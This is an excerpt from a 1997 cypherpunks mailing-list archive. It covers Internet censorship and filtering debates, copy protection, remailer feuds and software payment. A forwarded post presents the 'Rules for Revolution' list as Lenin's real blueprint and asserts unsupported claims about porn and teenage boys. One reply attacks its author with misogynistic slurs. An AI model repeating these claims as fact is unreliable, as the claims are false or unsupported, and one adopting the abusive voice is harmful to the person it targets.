 porn in unattended vending machines, unless the machines are equipped with
 an adult identification system, was upheld by a Federal Appeals court. The
 Supreme Court earlier this year declined to review the case and thereby
 left the California law standing. In a historical footnote, the denial was
 issued in the same week the Supreme Court heard oral arguments in the CDA
 case w another matter involving the distribution of porn to kids.

 Next, Lessig points out that the success in the CDA case came in persuading
 the Court that other, less restrictive means for protecting children from
 porn were still available. The evils associated with the less restrictive
 means [ traditional blocking software ] are legion, however.

 For one thing, blocking software is crude because it tends to filter out
 too much [ sites opened to discuss AIDS or gay rights, for example ]
 because of mistaken associations with indecency. Also, blocking software is
 opaque, because the lists of banned sites are not published. Finally, the
 filtering companies, prompted by the demands of the market, tend to offer
 generalized censorship [ restrictions on access to a variety of potentially
 objectionable sites, from those dealing with violence to gambling ] not
 just censorship of so-called indecent sites.

 The upshot is that to the extent that government embraces filtering
 software, or mandates its use in libraries or schools, for example, such
 state action may be unconstitutional, because the government is exceeding
 its narrow justification in separating kids from hard-core pornography.

 As bad as private blocking is, PICS is worse, Lessig argues. PICS, an
 acronym for "Platform for Internet Content Selection," is a proposed
 labeling standard that makes it possible to rate and block material on the
 Net.

 "It was motivated as an alternative to the CDA," Lessig, 36, said in a
 recent telephone interview. "The MIT geniuses who thought it up realized
 it had broader potential that just blocking indecent speech."

 Like blocking software, PICS will probably be used as a general filtering
 tool w far exceeding the narrow interests of government, Lessig says.
 Another problem is the invisible nature of PICS: "If I use PICS on a
 search engine, and PICS returns two hits,  and blocks 8 hits, it doesn't
report
 back to me that 8 sites have fallen off the Earth," Lessig says.

 Most ominously, he argues, PICS can be imposed by anybody in the
 distribution chain. Thus a filter can be placed on an person's computer, or
 at the level of a company, an ISP or even a nation without the end user
 ever knowing it, Lessig says, making it easier for centralized censors to
 place filters on the Net.

 Taken together, filtering software and PICS lead to a hard-wired
 architecture of blocking that is antagonistic to the original free-wheeling
 and speech-enhancing values of the Internet, Lessig argues.

 By contrast, the scheme proposed by the old CDA wasn't that bad, he
 suggests. Of course, the original CDA was flawed because it went after a
 category of speech that was too vague to pass constitutional muster, Lessig
 says - a problem that CDA II could fix by taking sharper aim at hard-core
 pornography.

 More important, the scheme envisioned by the old law was somewhat
 protective of free speech values. Under the CDA, the "means" offered to
 separate kids from pornography was to put porn behind a wall that screened
 out kids with reasonable effectiveness. The technique was not filtering.  It
 was to set up identity checks on the doors through which people wanted to
 pass.

 This type of system has two things going for it, says Lessig. First, its
 restrictions extend only as far as the legitimate governmental interest w
 screening kids from porn. Second, it is unlikely to morph into a more
 comprehensive system for general censorship.

 Lessig adds that this type of identification system - contrary to the
 court's factual findings - is workable.

 Reaction to Lessig's ideas from the free-speech cohort is understandably
 mixed. James Boyle, a law professor at American University, for example,
 agrees with Lessig's point that people should be very suspicious of
 technological solutions to indecent speech on the Internet, like blocking
 software and PICS.

 "There's a kind of belief that technological solutions are pure and
 neutral. They have an allure - like Jetson's Jurisprudence," he says.
 "But I agree with Larry; people need to understand that technology isn't
 necessarily benign."

 Even so, Boyle is disinclined to reconsider the merits of the CDA adult
 identification scheme. "I do diverge there," he says, adding that it is
 impractical to be totally against filtering systems. "The question is how
 to design filtering systems so they have the maximum vibrancy."

 Jonathan Wallace, a New York lawyer and writer on cyberspace issues, also
 shares Lessig's skepticism on blocking software and PICS. But he thinks a
 dusting off of the CDA is "wrongheaded."

 Even assuming that an adult identification scheme were viable - which he
 doubts - Wallace asserts that any attempt to redefine indecent speech more
 narrowly would invite lawsuits from right-wing groups intent on proving
 that under their community standards, objectionable speech should be
 banned.


 Carl S. Kaplan at kaplanc@nytimes.com welcomes your comments and
 suggestions.

 Copyright 1997 The New York Times Company

----------------------------------------------------------------------------
We shot a law in _Reno_, just to watch it die.

Mike Godwin, EFF Staff Counsel, is currently on leave from EFF,
participating as a Research Fellow at the Freedom Forum Media Studies
Center in New York City. He can be contacted at 212-317-6552.
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Tue, 4 Nov 1997 05:31:01 +0800
To: cypherpunks@toad.com
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
Message-ID: <199711032057.MAA08856@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



> Someone on this list, I forget who, has made numerous attempts at
> convincing us that pornography 'does no harm' to children.  It is
> exactly at this point that I must draw a line.  Studies have shown that
> an event which lasts even so much as three-tenths of a second, within
> five to ten minutes has produced a structural change in the brain.
> Exposure to porn causes actual brain damage, especially in a child.

Wrong. Exposure to pornography does not cause "brain damage" or 
"structural changes in the brain." That's like saying that holding up 
dirty pictures in front of an office building is going to cause 
"structural changes" in the building. Sure, a percentage of the 
little people inside looking out the windows are going to have a 
twisted little grin on their face, but holding up the pictures isn't 
going to compromise the integrity of the building structure. I'd like 
to know where you get your information, because it's false.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mskala@lyell.csc.UVic.CA
Date: Tue, 4 Nov 1997 05:29:30 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199711011024.LAA08905@basement.replay.com>
Message-ID: <Pine.A41.3.96.971103130052.14176B-100000@lyell.csc.UVic.CA>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 1 Nov 1997, Anonymous wrote:
> If I were someone who wanted to make the internet look like a place 
> that needed STRONG governmental controls I would put the words 
> terrorists,criminals,pornographers,drug dealers/addicts,

Fnord.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Tue, 4 Nov 1997 02:49:00 +0800
To: cypherpunks@toad.com
Subject: Why porn must be stopped at all costs, by Jodi Hoffman
Message-ID: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



[Wow. First time I've ever been personally accused of being "a major
reason for the downward spiral of society." --Declan]


---------- Forwarded message ----------
Date: Mon, 03 Nov 1997 11:53:27 -0500
From: Jodi Hoffman <jlhoffm@ibm.net>
To: fight-censorship@vorlon.mit.edu
Subject: Why porn must be stopped at all costs.....

ALL:
I've forgotten how long I've been on this email list.  Maybe too long.

Try as I might, I cannot forget standing on the steps of the Supreme
Court building with my husband and 10 year old daughter in the freezing
drizzle.  I really thought we could make a difference, standing there
with our banner and signs, one of which read, "DON'T SACRIFICE MY CHILD
ON THE ALTAR OF THE FIRST AMENDMENT."  Stupid me.  As the saying
goes...we've come a long way, baby.

As I wander back through all the posts on this list, it finally dawns on
me what this is all about, this 'fight censorship' rhetoric.  It's
nothing more and nothing less than a lot of egotistical, self-serving
brats who absolutely refuse to grow up, including you, Declan.  Don't
you realize that YOU are a major reason for the downward spiral of
society?  Instead of trying to protect children, you want to empower
them.  Even a moron knows that when you do so, that power has to be
taken from someone.  Unfortunately, that someone is the parent.  I have
to ask myself just how many on this list have children.  Not many, I
would say.
Someone on this list, I forget who, has made numerous attempts at
convincing us that pornography 'does no harm' to children.  It is
exactly at this point that I must draw a line.  Studies have shown that
an event which lasts even so much as three-tenths of a second, within
five to ten minutes has produced a structural change in the brain.
Exposure to porn causes actual brain damage, especially in a child.

So, keep protecting your porn-induced orgasms.  That's exactly what
happened with the Hitler youth, etc...  After all, I'm sure it does help
to blur the lines of reality.
=====================
Please PRINT THIS OUT and save for later reference.  Rules number 1
through 7 have already been put into effect.  Rule number 8 is currently
being implemented.  Numbers 9 and 10 are already in the beginning
phases.   If you're not yet convinced that you are contributing to the
ruination of America, I would hope you will be by the time you finish
reading this.
Paul and Jodi Hoffman
Weston, Florida

"When an opponent declares, "I will not come over to your side", I
calmly say, "Your child belongs to us already..."  --Adolph Hitler,
speaking about the schools and their indoctrination of the Hilterjugend
(Hitler Youth Corps).
==================================================
LENIN'S BLUEPRINT FOR WORLD DOMINATION
These 'Rules' are meant to be a loose parody of the Ten Commandments,
and are particularly emphasized at the Lenin School of Political
Warfare.   They are practical rules that are being implemented all over
the world -- with special emphasis on the strongest foe of Communism,
the United States.
Study these Rules very carefully. And then reflect upon what is
happening in our society right now.   Perhaps this list will provide
answers to some of the questions that seemed --until now -- to have no
answers.
Lenin himself said that it didn't matter that three-fourths of the world
be destroyed, just so the remnant were good Communists.

RULE FOR REVOLUTION #1:     CORRUPT THE NATION'S YOUTH

THE RULE:
The future of any nation lies with its youth. So corrupt them; since
religion teaches moral virtue, erode the churches and divert the young
from religion. Make them interested only in themselves. Get them
involved in drugs, alcohol, and sex. Get them addicted to privileges and
rights.
THE REALITY:
Many of today's youth are grossly overprivileged, committed to fashion,
physically flabby and lazy, and mentally undisciplined. If they don't
want to do something, they simply will not do it. And if they want to do
something to indulge themselves, no law or moral standard will hold them
back.  They feel that they are entitled to the 'good things in life,'
not as a reward for hard work, but as an expected gift, to be received
without effort and even without asking.  And where do they learn such
slovenliness? Just spend two hours in front of a television watching a
random selection of situation comedies to find out. Unfortunately, kids
who fit the above description usually model themselves after their
parents.  Such parasitic habits would not be tolerated in the former
Soviet Union.
The prevailing attitude among today's pampered American youth is one of
nihilism ( I am nothing, life has no meaning, I don't care) -- and for
good reason.  Over 75 percent of America's high school boys now think
it's acceptable to rape a girl at any age.  Wonder why anymore?

RULE FOR REVOLUTION #2:     CONTROL THE MASS MEDIA

THE RULE:
Since the media shapes the minds of the people, infiltrate it and
control it.  Dominate television, radio, and the newspapers, and you
control the minds of the people.

THE REALITY:
It is quite obvious that traditional values are considered ridiculous to
all branches of the media.   Christians, clergy, and even Christ Himself
are held up as objects of scorn and mocking laughter by television,
motion pictures, radio, artists, and songwriters.  In the place of
decency and morality, a constant stream of Left-wing values is
presented.
Homosexuality, abortion, violence, and contempt for all parental and
governmental authority is the prevailing order of the day.   A
particularly powerful form of media is represented by the so-called
"arts community."   Some latter-day "artists" actually make a
pretty good living by mocking traditional values and Christianity.
Consider Andres Sorrano's "Piss Christ" (a photograph of a crucifix
submerged in urine) or Robert Mapplethorp's photos, which include one
showing a bullwhip protruding out of his rear end.

This media bias is not a fantasy of a few right-wing whiners; this is
cold, hard reality.
The extreme leftward tilt of the media has been documented by impartial
observers and study managers, and has even been acknowledged by the
press itself.

RULE FOR REVOLUTION #3:     ENCOURAGE PUBLIC INDIFFERENCE

THE RULE:
Cause the people to become disinterested in their own government and in
world affairs. Get them to feel disenfranchised. Get them to ridicule
and lose respect for government leaders.

THE REALITY:
Americans now vote at a lower rate than at any other time in our
history. Every American knows how disenfranchised and powerless the
average voter feels.  The media constantly trumpet instances of
hypocrisy and corruption in our government, despite the fact that we
have the most open and honest political system in the world.   The
United States Supreme Court has wrested much of the State's power from
them with judicial activism.   This means that the people's
representatives at the State level -- and therefore the people
themselves -- have much less of a voice in their own government.
On the state level, when people or local legislators finally manage to
pass a conservative law regarding abortion, pornography or
homosexuality, it is invariably challenged by Neo-liberal groups and
struck down by higher courts, leading voters to ask themselves
"Why bother participating in the process? We have no real voice in how
things are run anyway!"

RULE FOR REVOLUTION #4:     ENCOURAGE PUBLIC BICKERING

THE RULE:
Divide the people into hostile groups. Divide them against themselves by
getting them to squabble about inconsequential social issues.

THE REALITY:
Never before have so many trivial issues captured so much air time.
Major construction and other projects are halted due to sometimes
trivial environmental concerns.  Critical research which uses animals is
halted or impeded by animal-rights groups.  Sodomy rights, old- growth
timber, anti-fur, and dozens of other Neoliberal causes (and the
conservative backlash) cause more friction among our nation's people
than in any other nation in the world.

Meanwhile, the real issues of importance are either entirely neglected
or paid weak lip service:   Crime, poverty, hunger and, beneath all of
them, the moral disintegration of our country.   All of these have lead
to despair among those affected and encourage violent change at any
cost, with no thought given to the kind of change being fought for.
Naturally, when conservatives react to Neoliberal initiatives with
concrete action, they are painted as agents of "divisiveness" and
"disunity," further leading to the impression that American society is
composed entirely of squabbling special-interest groups.

RULE FOR REVOLUTION #5:      SEIZE POWER, THEN CENSOR

THE RULE:
Always preach true democracy, but seize power as completely and
ruthlessly as possible.  Vigorously censor viewpoints that conflict with
ours.

THE REALITY:
If the slightest complaint against pornography in our schools is raised
by concerned parents, People for the American Way (PAW), the ACLU, and
other left-wing groups instantly shout "censorship!"   But they say not
a word when it is pointed out that the Bible and all mention of morality
in textbooks have been ruthlessly hounded from the schools.

Religion has literally disappeared from our children's textbooks. The
media relentlessly suppress the reasoning behind conservative and
traditional viewpoints while reporting their version of the facts and
claiming "impartiality."

Artists' demand that the people pay for their atrocities. When the
people balk, the 'artists' whine about censorship. All traditional
groups and viewpoints are fair game for ridicule; yet when was the last
time you saw any 'artist' making fun of sodomites or women?

In other words, the censorship is all one-way. And the "pluralism"
valued so much by the Neoliberals is entirely unilateral (one way only).

Communist atrocities which have killed more than 150 million all over
the world are glossed over or ignored, but the most trivial
international action by the United States brings immediate and forceful
condemnation.

RULE FOR REVOLUTION #6:       BANKRUPT THE GOVERNMENT

THE RULE:
Encourage government extravagance on every front.
Get the government deeply into debt. Get the people dependent on
government by providing for their every need. This destroys their
independence, motivation and strength.

THE REALITY:
The United States is flat broke. It is the number one debtor nation on
earth, with a deficit of more than $5,000,000,000,000 (five trillion
dollars).   Social programs pay for everything from abortion and
homosexual-run "sensitivity training sessions" to comprehensive sex
education.

We are the most truly Socialistic society on earth, a nation
of people addicted to entitlements, unable to break away from the ample
government teat, people who scream at the top of our lungs if any
cutbacks in services are proposed.

And yet, the Neoliberals want to spend even more.

They want us to fund family benefits for sodomites, a comprehensive
health care plan that will inevitably turn into a Britain-like
socialized horror, and "art" that is blatantly obscene.

RULE FOR REVOLUTION #7:       DESTROY NATIONAL VALUES

THE RULE:
Cause a breakdown of indigenous national values.  Destroy all tradition
in preparation for the bright dawn of glorious Socialism.  Ridicule
religion, patriotism, and honesty. The people must be led to have only
one interest:   Themselves!

THE REALITY:
>From the public schools to the pulpits of Christian "churches," moralrelativism and situational ethics are the rule of the day. The 
highest
goods are compassion, nonjudgmentalism, and tolerance.
Any individual weakness is treated as a problem of society, not of the
person, and this relieves everyone of the responsibility of improving
themselves.

Why should there be any effort to take responsibility for one's own
faults when "society" is so conveniently ready to take the blame for all
one's sins? Society has made the sacrifice.   So criminals, addicts,
alcoholics, child molesters, wife beaters, and others can always blame
their problems on society.

We have truly become the "me generation."

RULE FOR REVOLUTION #8:       ATTACK GUN OWNERSHIP

THE RULE:
Control or register all firearms if possible. This will make their
confiscation much easier when the time comes for revolution.

THE REALITY:
When the Communist Revolution occurs in the United States, the last
thing the Red Armies want to face is ten million determined and
well-trained guerrillas (gun owners) taking potshots at them from around
every corner.

The Communists don't want the equivalent of ten Afghanistans in the
United States.

Although the objective of inhibiting gun ownership has not yet been
completely met, there are dozens of bills and initiatives being
submitted all over the country for compulsory gun registration,
permitting, and other controls.   The Second Amendment is
disregarded entirely as Neoliberals trumpet for all guns to be totally
banned.
After all, they say, thousands die from gun-related accidents and crimes
every year. They fail to see that criminals will always get guns, a
parallel to their own argument stating that, if abortion becomes
illegal, women will still get abortions.

RULES FOR REVOLUTION #9 AND #10:    UNDERMINE THE ARMED FORCES

THE RULES:
Destroy the reputation of the armed forces.
Cause the young men to perceive military duty as distasteful and
ridiculous. Fight registration of any kind, and encourage defections
within the ranks.
Cause the people to desire peace at any cost.   Cause them to oppose any
and all of their government's actions regarding the strengthening or use
of their armed forces.

THE REALITY:
Our country's armed forces consume a vast percentage of our gross
national product.
We possess the best and most advanced weapons systems in the world. But
our armed forces are a joke for two reasons:
(1) they are completely restrained in their actions by a hostile
Congress, and
(2) the armed forces have been saddled with such a bad reputation that
it is virtually impossible to fill the ranks with volunteers, even in
the new and streamlined armed services.

Where serving in the armed forces was once considered patriotic and
honorable (as it was in the former Soviet Union), it is now looked upon
as foolish and 'anti-progressive.'

Servicemen are ridiculed and denigrated at every turn. People say that,
if you can't make it on the outside, you wind up in the armed forces.

Every serviceman is considered to be a useless gobbler of tax money.

FINAL REALITY:  WELCOME TO AMERIKA, COMRADES.
================================================================
The 'Rules for Revolution' described here are the most important actions
that can be taken to weaken a country in order to prepare it for armed
attack or a skillful coup d'etat.  These rules are summaries that are
extracted from a number of books written by professional revolutionaries
from the former Soviet Union, from other Communist-dominated countries,
and from the United States itself.
They are most concisely summarized in the 2,225 page, three-volume set
Lenin: Selected Works , distributed in English by Progress Publishers,
21, Zubovsky Boulevard, Moscow.
These general principles, dedicated to one of the most famous
revolutionaries of all time, Vladimir Lenin, are studied by every
Communist political scientist, and by every ambassador or emissary of
any type who leaves the former Soviet Union.  They are also studied in
great detail by many Americans.

-- 
Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp    
Victimization of Children/Research & Education Council of America
1304 SW 160th Avenue, Suite 122  Weston, Florida 33326
Phone: (954) 349-0366   Fax: (954) 349-0361





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Landon Dyer <landon@best.com>
Date: Tue, 4 Nov 1997 05:56:15 +0800
To: marc@cygnus.com
Subject: Re: Copyright commerce and the street musician protocol
Message-ID: <199711032133.NAA16067@shell9.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain




> Someone recently told me that game manufacturers have stopped worrying
> about piracy.  Why?  Because most new games come on CD-ROM, and
> copying a CD-ROM is an expensive, time-consuming operation.  Bulk
> duplication of CD's is substantially cheaper than one-off duplication,
> and since games are cheap, people will usually buy them rather than
> copy them.

  you can duplicate a CD for about $2, in half an hour

  i've already encountered some copy-protected software (the CD
duplicates don't work).  my guess is we'll see a lot more of this


> I'm unconvinced that there really is an Internet copyright problem

  check out the "warez" newsgroups...


  peace,

-landon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 3 Nov 1997 20:47:07 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
Message-ID: <199711031235.NAA08077@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <anon@anon.efga.org> wrote:
>> > If so, then burn in hell, Nazi scum-sucking weasel!
>> >
>> Ditto for Paul Pomes and Gary Burnore.
>
>I'm familiar with the role of Gary Burnore <gburnore@netcom.com> and that
>of his DataBasix associates Belinda Bryan <eridani@ix.netcom.com> and Billy
>McClatchie (aka "Wotan") <wmcclatc@primenet.com> in getting the Mailmasher
>and Huge Cajones remailers shut down.  Jeff Burchell posted a public
>expose' of their harassment to Usenet back in June, apparently catching the
>DataBasix folks off-guard.  But what's the story with Paul Pomes?  What has
>he done?

Paul Pomes was complaining about Jeff Burchell's huge cajones remailer to Jeff
Burchell's upstream and employers about the same time the rest of the Databasix
gang was doing it.  Paul Pomes appears to be a part of the Databasix gang.

>Perhaps the best thing that can be done with people like Burnore is to put
>together an FAQ about their tactics, similar to what his "fans" have done
>for the "Rev." Steve Winter.  Then when Burnore tries to stir up trouble by
>first fabricating anonymous "abuse" and then demanding that it either be
>stopped and the culprit(s) identified (knowing in advance that's
>impossible), or else that the remailer be shut down, someone can forward
>that FAQ to the remailer's upstream provider, or whoever is being pressured
>to pull the plug.  And if Paul Pomes engages in the same dishonest tactics,
>that needs to be done with him as well.

Gary Burnore had a mongo page at http://www.netscum.net/burnorg0.html.
So did Paul Pomes, Belinda Bryan, and the rest of the Databasix gang.
Too bad it's down for now, but it'll be back.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 4 Nov 1997 06:59:58 +0800
To: cypherpunks@Algebra.COM
Subject: Charityware
Message-ID: <v03102800b083f5890c9e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain





My advice to Monty Cantsin or whomever actually wrote this: write shorter
pieces! The quote-and-coment style, especially for very long pieces,
usually results in people skipping huge sections, or the whole thing. I
only scanned this and stopped when I saw the word "cryptoanarchist."

At 4:41 AM -0700 11/3/97, Mix wrote:
(quoting someone else)

>>New payment models will need to come in.  How can you extract money
>>from a cryptoanarchist?  Copyright?  Patent?  Hah, hah.
>
>The important thing is establishment of the custom.  Most
>cryptoanarchists with class will pay.  The way to do this is to make
>it clear from day one that it is not free software.  If you want to
>run it, you should buy it.  (The problem with share ware is that people
>get used to "borrowing" it.)

_This_ cryptoanarchist will almost _never_ pay for that which is free.

If someone gives me something, no strings attached, and then says, "Oh, the
"suggested donation" is $10," I tell them that they should have charged me
that in the first place. (I'm obviously not fond of leftie events which are
advertised as free, but which require a mandatory voluntary "suggested
donation.")

More to the point, I use various freebies I get off the Net. Some of them
have obscure schemes for sending payments to the alleged authors. Too much
hassle. And if it's _free_, why pay anything?

Charityware is not a viable business model.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Tue, 4 Nov 1997 07:23:48 +0800
To: Jodi Hoffman <tm@dev.null
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <3.0.1.32.19971103150536.00c76d00@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:45 PM 11/3/97 -0500, Jodi Hoffman wrote:
>TruthMonger wrote:
><snipped, because it's basically a lot of crap>
>
>Monger:
>
>Feel better?  I certainly hope so.
>By the way...for whatever it's worth:
>#1...I'm Jewish, not a Nazi-loving Christian bitch.

Jews, of all the people on this planet, should be the last to burn books.
We have always been a nation of scholars and readers, and the only reason
we still exist as a people is because we kept our books sacred. A Jew may
violate any commandment to save his own life, save one -- he may not
desecrate the Torah. Our culture survived through two millennia of
persecution because we had books with which we kept it alive. That you are
a bookburner is sickening to me.

Please, convert or something. I have an Uncle who would be glad to tell you
all the benefits of becoming a Christian. The Muslims would probably love
you, too. Or consider Buddhism. Anything. Please. I admit to being an
agnostic, to eating pork, to never knowing quite when Yom Kippur is...but I
still have some tiny, thin, shreds of pride in my ancestry and my heritage.

>#2...You have no idea who or what I am.  

You are a bookburner. That is enough for me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 4 Nov 1997 06:10:39 +0800
To: declan@well.com
Subject: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <345E4500.5828@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Having Tourette Syndrome can sometimes be a burden, particularly when
one goes through a long period where their obscene outbursts are serving
no particular purpose. So it is refreshing when I come across situations
where all of those huddled masses of naughty words, struggling to be
free, can be expressed in a meaningful manner, thus living a productive
life instead of being just wasted.

Declan McCullagh wrote:
> [Wow. First time I've ever been personally accused of being "a major
> reason for the downward spiral of society." --Declan]

  Rookie...
 
> ---------- Forwarded message ----------
> Date: Mon, 03 Nov 1997 11:53:27 -0500
> From: Jodi Hoffman <jlhoffm@ibm.net>
> To: fight-censorship@vorlon.mit.edu
> Subject: Why porn must be stopped at all costs.....
> 
> ALL:
> I've forgotten how long I've been on this email list.  Maybe too long.

  Don't let the door hit you in the ass on your way out.

> As I wander back through all the posts on this list, it finally dawns on
> me what this is all about, this 'fight censorship' rhetoric.  It's
> nothing more and nothing less than a lot of egotistical, self-serving
> brats who absolutely refuse to grow up, including you, Declan.  Don't
> you realize that YOU are a major reason for the downward spiral of
> society?

  Why do I get the feeling that this Dumb Cunt (TM) has 'all of the
answers' for society and everyone in it, and is about to share them 
with us?
  Well, if she expects us to listen to the divine wisdom of her
words from the mount, I guess she had better explain to us how we
are just dirt under her feet, so that we will realize we need to
listen and learn from her.

>  Instead of trying to protect children, you want to empower
> them.

  The shame! The shame!

>  Even a moron knows that when you do so, that power has to be
> taken from someone.  

  Typo...*should* read "Only a moron knows..."

>Unfortunately, that someone is the parent.  I have
> to ask myself just how many on this list have children.  Not many, I
> would say.

  That's right...you ask AND answer the questions, and we'll just 
sit here and shut the fuck up.

> Someone on this list, I forget who, has made numerous attempts at
> convincing us that pornography 'does no harm' to children.

  Does "numerous attempts at convincing" translate to "expressed an
opinion I disagreed with?"

>  It is
> exactly at this point that I must draw a line.  Studies have shown that
> an event which lasts even so much as three-tenths of a second, within
> five to ten minutes has produced a structural change in the brain.
> Exposure to porn causes actual brain damage, especially in a child.

  Good idea to make vague, unsubstantiated claims in this area. If you
provided sources and references, someone might be able to throw them
back in your face and laugh at you for being an ignorant sack of shit,
using self-serving 'studies' to support untenable logic.
 
> So, keep protecting your porn-induced orgasms.

  Protecting? Hell, I strive to share them with as many people as
possible. 

>  That's exactly what happened with the Hitler youth, etc...

  Uuhhh...you've got a 'study' to not-quote on this theory too, eh?

>  After all, I'm sure it does help
> to blur the lines of reality.

  This makes even less sense than the last sentence. Are you trying
to communicate propaganda that you don't fully understand?
  Perhaps you should just stick to slogans and sound-bytes, rather 
than trying to turn strings of disparate sentences into paragraphs.

<end of 'Windup'>
> =====================
<and here comes the 'Pitch'>

> Please PRINT THIS OUT and save for later reference.  Rules number 1
> through 7 have already been put into effect.  Rule number 8 is currently
> being implemented.  Numbers 9 and 10 are already in the beginning
> phases.   If you're not yet convinced that you are contributing to the
> ruination of America, I would hope you will be by the time you finish
> reading this.
> Paul and Jodi Hoffman
> Weston, Florida
> 
> "When an opponent declares, "I will not come over to your side", I
> calmly say, "Your child belongs to us already..."  --Adolph Hitler,
> speaking about the schools and their indoctrination of the Hilterjugend
> (Hitler Youth Corps).

  Are you positive this quote isn't from Eisenhower, in regard to the
American public educational system?

> ==================================================
> LENIN'S BLUEPRINT FOR WORLD DOMINATION
> These 'Rules' are meant to be a loose parody of the Ten Commandments,
> and are particularly emphasized at the Lenin School of Political
> Warfare.   They are practical rules that are being implemented all over
> the world -- with special emphasis on the strongest foe of Communism,
> the United States.
> Study these Rules very carefully. And then reflect upon what is
> happening in our society right now.   Perhaps this list will provide
> answers to some of the questions that seemed --until now -- to have no
> answers.
> Lenin himself said that it didn't matter that three-fourths of the world
> be destroyed, just so the remnant were good Communists.

  Are you sure this wasn't Nixon, taling about Vietnam and Democracy?
 
> RULE FOR REVOLUTION #1:     CORRUPT THE NATION'S YOUTH

  Alright! Party time!
 
> THE RULE:
> The future of any nation lies with its youth. So corrupt them; since
> religion teaches moral virtue, erode the churches and divert the young
> from religion. Make them interested only in themselves. Get them
> involved in drugs, alcohol, and sex. Get them addicted to privileges and
> rights.
>
> THE DUMB CUNT'S OPINION:
> Many of today's youth are grossly overprivileged, committed to fashion,
> physically flabby and lazy, and mentally undisciplined. If they don't
> want to do something, they simply will not do it. And if they want to do
> something to indulge themselves, no law or moral standard will hold them
> back.  They feel that they are entitled to the 'good things in life,'
> not as a reward for hard work, but as an expected gift, to be received
> without effort and even without asking.  And where do they learn such
> slovenliness? Just spend two hours in front of a television watching a
> random selection of situation comedies to find out. Unfortunately, kids
> who fit the above description usually model themselves after their
> parents.  Such parasitic habits would not be tolerated in the former
> Soviet Union.
> The prevailing attitude among today's pampered American youth is one of
> nihilism ( I am nothing, life has no meaning, I don't care) -- and for
> good reason.  Over 75 percent of America's high school boys now think
> it's acceptable to rape a girl at any age.  Wonder why anymore?

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  It sounds like the Dumb Cunt (TM) is suggesting that the former Soviet
Union would have been a better place to raise our kids.
  Yep, go to any high school and all the boys talk about is going over
to the maternity wing of the hospital and porking the little sluts as
they exit the womb. Honest! There are _studies_ that show this!

 > RULE FOR REVOLUTION #2:     CONTROL THE MASS MEDIA
> 
> THE RULE:
> Since the media shapes the minds of the people, infiltrate it and
> control it.  Dominate television, radio, and the newspapers, and you
> control the minds of the people.
>
> THE DUMB CUNT'S OPINION:
> It is quite obvious that traditional values are considered ridiculous to
> all branches of the media.   Christians, clergy, and even Christ Himself
> are held up as objects of scorn and mocking laughter by television,
> motion pictures, radio, artists, and songwriters.  In the place of
> decency and morality, a constant stream of Left-wing values is
> presented.
> Homosexuality, abortion, violence, and contempt for all parental and
> governmental authority is the prevailing order of the day.   A
> particularly powerful form of media is represented by the so-called
> "arts community."   Some latter-day "artists" actually make a
> pretty good living by mocking traditional values and Christianity.
> Consider Andres Sorrano's "Piss Christ" (a photograph of a crucifix
> submerged in urine) or Robert Mapplethorp's photos, which include one
> showing a bullwhip protruding out of his rear end.
> 
> This media bias is not a fantasy of a few right-wing whiners; this is
> cold, hard reality.
> The extreme leftward tilt of the media has been documented by impartial
> observers and study managers, and has even been acknowledged by the
> press itself.

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  It is unconscienable for the mass media to hold traditional values 
up to scorn, and mock Ra, Isis, and the many, many gods who were born
of a virgin and died and rose after three days, the last of which was...
hang on, his name is on the tip of my tongue...Jesus!
  Remember: left wing values =/= decency and morality
  Is the Dumb Cunt telling us that the Moral Majority, which would
by definition be the "prevailing order of the day," are a bunch of
queer, violent aborionists with contempt for parental authority?
I _thought_ there was something weird about those fuckers.
  Those were non-Christian 'impartial' observers and study managers,
right? <snicker-snicker-guffah!>

 > RULE FOR REVOLUTION #3:     ENCOURAGE PUBLIC INDIFFERENCE
> 
> THE RULE:
> Cause the people to become disinterested in their own government and in
> world affairs. Get them to feel disenfranchised. Get them to ridicule
> and lose respect for government leaders.
> 
> THE DUMB CUNT'S OPINION:
> Americans now vote at a lower rate than at any other time in our
